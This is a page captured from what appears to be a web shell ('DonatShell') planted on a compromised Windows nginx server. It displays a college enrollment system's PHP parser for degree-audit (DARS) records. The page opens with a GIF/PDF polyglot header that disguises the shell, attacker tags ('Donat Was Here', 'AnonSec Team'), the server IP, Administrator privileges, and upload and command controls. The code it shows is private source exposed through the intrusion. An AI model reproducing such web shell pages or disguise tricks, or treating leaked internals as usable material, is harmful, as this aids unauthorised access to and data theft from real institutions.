GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/Enrollment/parse/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/Enrollment/parse/parseDARS_41_c.phpinc
<?
// Admin/Enrollment/parse/parseDARS_41_c.phpinc
// Parse state 41
// Parse Ed Plan section.
// Searching for: line type.

// Get ['CreditsRequired'], ['CoursesRequired'], ['Notes'], ['CreditsAdded'], ['CoursesAdded'], ['CreditsInProgress'], ['CoursesInProgress'], 

#$DEBUG_parseDARS_41_c = true;
if ( !isset($DEBUG_parseDARS_41_c) ) $DEBUG_parseDARS_41_c = false;

if ( $DEBUG_parseDARS_41_c ) {
	printLine(basename(__FILE__));
	printLine('Searching for: line type.');
	printVar("$index: \$f_DARSln",$f_DARSln);
	printVar('$f_DARSlnAsize',$f_DARSlnAsize);
	printVar('$f_DARSlnA',$f_DARSlnA);
}
#include('common/pageFooter.phpinc');
#printVar("$index: \$f_DARSln",$f_DARSln); printVar('$f_DARSlnAsize',$f_DARSlnAsize); printVar('$f_DARSlnA',$f_DARSlnA);
#printVar('$state $statePrevious',$state.':'.$statePrevious);
#printVar('substr($f_DARSln,6,2)',substr($f_DARSln,6,2));
#exit;

$indexStart = $index;

// Skip "nn Credits Required" line.
if ( $f_DARSlnAsize == 3 && is_numeric($f_DARSlnA[0]) && ( $f_DARSlnA[1] == 'Credits' || $f_DARSlnA[1] == 'Credit' ) && $f_DARSlnA[2] == 'Required' ) get_DARSln();
// Skip "course sub ok'd by waiver".
if ( trim($f_DARSln) == "course sub ok'd by waiver" ) get_DARSln();

// Check if this is a new course section.
if ( is_CourseSection() ) {
	if ( $DEBUG_parseDARS_41_c ) {
		printLine(basename(__FILE__));
		printLine('This is a course section.');
		printVar("$index: \$f_DARSln",$f_DARSln);
	}
	$index--;
	set_state(40);
} else {
	// Fix Snn issue.
	#printVar('$f_DARSln',$f_DARSln);
	if ( ( substr($f_DARSln,6,1) == 'F' || substr($f_DARSln,6,1) == 'W' || substr($f_DARSln,6,1) == 'S' ) && is_numeric(substr($f_DARSln,7,1)) ) {
		$f_DARSln = substr($f_DARSln,0,7).' '.substr($f_DARSln,7);
		$f_DARSlnA = preg_split("/[\s:,]+/",trim($f_DARSln));
		$f_DARSlnAsize = count($f_DARSlnA);
		#printVar('$f_DARSln',$f_DARSln);
	}
	// Fix ???.
	if ( ( substr($f_DARSln,6,2) == 'SS' || substr($f_DARSln,6,2) == 'Pr' || substr($f_DARSln,6,2) == 'Te' || substr($f_DARSln,6,2) == 'Wa' ) && is_numeric(substr($f_DARSln,8,1)) ) {
		$f_DARSln = substr($f_DARSln,0,8).' '.substr($f_DARSln,8);
		$f_DARSlnA = preg_split("/[\s:,]+/",trim($f_DARSln));
		$f_DARSlnAsize = count($f_DARSlnA);
		#printVar('$f_DARSln',$f_DARSln);
	}
	/** /
	// Fix -Cr at end of $f_DARSlnA[1].
	if ( isset($f_DARSlnA[1]) && substr($f_DARSlnA[1],-3) == '-Cr' ) {
		// Shift 2..n down.
		$f_DARSlnA[1] = substr($f_DARSlnA[1],0,-3);
	}
	/**/
	// Test for ['Class'] line.
	switch ( substr($f_DARSln,6,2) ) {
		case 'F ':
		case 'W ':
		case 'S ':
		case 'SS':
		case 'Pr': // Pr Lrn
		case 'Te': // Test Out
		case 'Wa': // Waive
			if ( $DEBUG_parseDARS_41_c ) printLine("Parse Class. parseDARS_42_c");
			include('Admin/Enrollment/parse/parseDARS_42_c.phpinc'); // ['Class']
			break;
		default:
			// Check for ['CreditsEarned'], ['CreditsNeeds'], ['CreditsRequired'], or Sub for ['Class']['DepartmentTaken']['NumberTaken'] line,
			switch ( $f_DARSlnA[0] ) {
				case 'EARNED':
					if ( $DEBUG_parseDARS_41_c ) printLine("Parse CreditsEarned. parseDARS_43_c");
					include('Admin/Enrollment/parse/parseDARS_43_c.phpinc'); // ['CreditsEarned']
					break;
				case 'IN-PROG':
				case 'IN-PROGRESS':
					if ( $DEBUG_parseDARS_41_c ) printLine("Parse CreditsInProgress. parseDARS_48_c");
					include('Admin/Enrollment/parse/parseDARS_48_c.phpinc'); // ['CreditsInProgress']
					break;
				case 'IP':
					if ( isset($f_DARSlnA[1]) && $f_DARSlnA[1] == 'EARNED' ) {
						array_shift($f_DARSlnA); $f_DARSlnAsize--; // Drop the IP from the EARNED line.
						if ( $DEBUG_parseDARS_41_c ) printLine("Parse CreditsEarned. parseDARS_43_c");
						include('Admin/Enrollment/parse/parseDARS_43_c.phpinc'); // ['CreditsEarned']
					} else {
						if ( $f_DARSlnAsize != 1 ) {
							$f_error = 'DARS section line type '.$f_DARSlnA[0].' not programmed for.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
							set_state(0);
						}
					}
					break;
				case 'NOTE':
					if ( $DARS['Section'][$sectionName]['Notes'] != '' ) $DARS['Section'][$sectionName]['Notes'] = $DARS['Section'][$sectionName]['Notes'].'|';
					$DARS['Section'][$sectionName]['Notes'] = $DARS['Section'][$sectionName]['Notes'].$f_DARSln;
					#include('Admin/Enrollment/parse/parseDARS_48_c.phpinc'); // ['CreditsInProgress']
					break;
				case 'NEEDS':
					array_unshift($f_DARSlnA,'[INSERTED]'); $f_DARSlnAsize++;
				case '-->':
					if ( $DEBUG_parseDARS_41_c ) printLine("Parse CreditsNeeds CoursesNeeds. parseDARS_44_c");
					include('Admin/Enrollment/parse/parseDARS_44_c.phpinc'); // ['CreditsNeeds'] ['CoursesNeeds']
					break;
				case '1)':
				case '2)':
				case '3)':
				case '4)':
				case '5)':
				case '6)':
				case '7)':
				case '8)':
				case '9)':
					array_unshift($f_DARSlnA,'[INSERTED]'); $f_DARSlnAsize++;
				case '-':
				case '+':
					if ( $DEBUG_parseDARS_41_c ) printLine("Parse CreditsRequired or CoursesRequired. parseDARS_45_c");
					include('Admin/Enrollment/parse/parseDARS_45_c.phpinc'); // ['CreditsRequired'] ['CoursesRequired']
					break;
				case 'SELECT':
					$or = false;
					if ( $DEBUG_parseDARS_41_c ) printLine("Parse Class DepartmentTaken NumberTaken. parseDARS_46_c");
					include('Admin/Enrollment/parse/parseDARS_46_c.phpinc'); // ['Class'] ['DepartmentTaken'] ['NumberTaken']
					break;
				#case '2)':
				case '>>MATCHED':
				case 'PROCESSED':
					// Skip this line.
					break;
				case 'Sub':
					if ( $DEBUG_parseDARS_41_c ) printLine("Parse DepartmentTaken NumberTaken Department Number. parseDARS_42As_c");
					include('Admin/Enrollment/parse/parseDARS_42As_c.phpinc'); // ['DepartmentTaken'] ['NumberTaken'] ['Department'] ['Number']
					break;
				case 'Triangle':
					// Section end.
					/** /
					printVar("$index: \$f_DARSln",$f_DARSln);
					printVar('$f_DARSlnAsize',$f_DARSlnAsize);
					printVar('$f_DARSlnA',$f_DARSlnA);
					exit;
					/**/
					if ( $f_DARSlnA[1] == 'pointing' && $f_DARSlnA[2] == 'right.' ) set_state(40); // Next section.
					break;
				case '--------------------------------------------------------------------------------':
					// Section end.
					set_state(40); // Next section.
					break;
				default:
					if ( $f_DARSlnAsize >= 2 ) {
						// Check for ['CreditsAdded']['CoursesAdded'] line.
						switch ( $f_DARSlnA[1] ) {
							case 'CREDIT':
							case 'CREDITS':
							#case 'Credit':
							#case 'Credits':
								if ( $DEBUG_parseDARS_41_c ) printLine("Parse CreditsAdded CoursesAdded. parseDARS_47_c");
								include('Admin/Enrollment/parse/parseDARS_47_c.phpinc'); // ['CreditsAdded'] ['CoursesAdded']
								break;
							case 'COURSE':
							case 'COURSES':
								if ( $DEBUG_parseDARS_41_c ) printLine("Parse CoursesAdded. parseDARS_47B_c");
								include('Admin/Enrollment/parse/parseDARS_47B_c.phpinc'); // ['CoursesAdded']
								break;
							default:
								// Check for second SELECT FROM line.
								#printVar('$lastSelectFromLine',$lastSelectFromLine);
								#printVar('$index',$index);
								#printVar('$f_DARSln',$f_DARSln);
								#printVar("substr(\$f_DARSln,0,11)",'['.substr($f_DARSln,0,11).']');
								#exit;
								if ( isset($lastSelectFromLine) && $index == $lastSelectFromLine+1 && substr($f_DARSln,0,11) == '           ' ) {
									array_unshift($f_DARSlnA,'FROM'); $f_DARSlnAsize++;
									array_unshift($f_DARSlnA,'[INSERTED]'); $f_DARSlnAsize++;
									if ( $DEBUG_parseDARS_41_c ) printLine("Parse SELECT FROM. parseDARS_46_c");
									include('Admin/Enrollment/parse/parseDARS_46_c.phpinc'); // ['Class']['DepartmentTaken']['NumberTaken']
								} else {
									if ( in_array($f_DARSlnA[0],$DARS['TransferCollegeAbbr']) ) { // Check for transfer course.
										//Skip this line.
									} else {
										// Check for goofy Test Out. MMDT1001-Test Out    2.0      >>MATCHED AS: CST 1001
										if ( $f_DARSlnAsize >= 7 && $f_DARSlnA[1] == 'Out' && $f_DARSlnA[3] == '>>MATCHED' && $f_DARSlnA[4] == 'AS' ) {
											// This is a goofy Test Out.
											if ( $DEBUG_parseDARS_41_c ) printLine("Parse Class. parseDARS_42Bto_c");
											include('Admin/Enrollment/parse/parseDARS_42Bto_c.phpinc'); // ['Class']
										// Check for a credit by experience or exam line.
										} elseif ( in_DARSln('-Credit by E') || in_DARSln('-Cr by Exam') ) {
											// This is a credit by experience or exam line.
											if ( $DEBUG_parseDARS_41_c ) printLine("Parse Class. parseDARS_42Eto_c");
											include('Admin/Enrollment/parse/parseDARS_42Eto_c.phpinc'); // ['Class']
										} elseif (
																( $f_DARSlnAsize == 3 && $f_DARSlnA[1] == 'credits' && $f_DARSlnA[2] == 'required' )
														 || ( trim($f_DARSln) == 'as approved by advisor' )
														 || ( $f_DARSlnAsize >= 3 && $f_DARSlnA[0] == 'sub' && $f_DARSlnA[1] == 'for' )
										) {
											//Skip this line.
										} else {
											$f_error = 'DARS section line type '.$f_DARSlnA[0].' not programmed for.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
											set_state(0);
										}
									}
								}
						}
					} else {
						// Check for second SELECT FROM line.
						#printVar('$lastSelectFromLine',$lastSelectFromLine);
						#printVar('$index',$index);
						#printVar('$f_DARSln',$f_DARSln);
						#printVar("substr(\$f_DARSln,0,11)",'['.substr($f_DARSln,0,11).']');
						#exit;
						if ( isset($lastSelectFromLine) && $index == $lastSelectFromLine+1 && substr($f_DARSln,0,11) == '           ' ) {
							array_unshift($f_DARSlnA,'FROM'); $f_DARSlnAsize++;
							array_unshift($f_DARSlnA,'[INSERTED]'); $f_DARSlnAsize++;
							if ( $DEBUG_parseDARS_41_c ) printLine("Parse Class DepartmentTaken NumberTaken. parseDARS_46_c");
							include('Admin/Enrollment/parse/parseDARS_46_c.phpinc'); // ['Class']['DepartmentTaken']['NumberTaken']
						} else {
							// Check for transfer course.
							if ( !in_array($f_DARSlnA[0],$DARS['TransferCollegeAbbr']) ) {
								$f_error = 'DARS section line type '.$f_DARSlnA[0].' not programmed for.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
								set_state(0);
							}
							// The transfer line is skipped.
						}
					}
			}
	}
}

#printVar('$DARS',$DARS);
#exit;

$indexStop = $index;
?>

Anon7 - 2022
AnonSec Team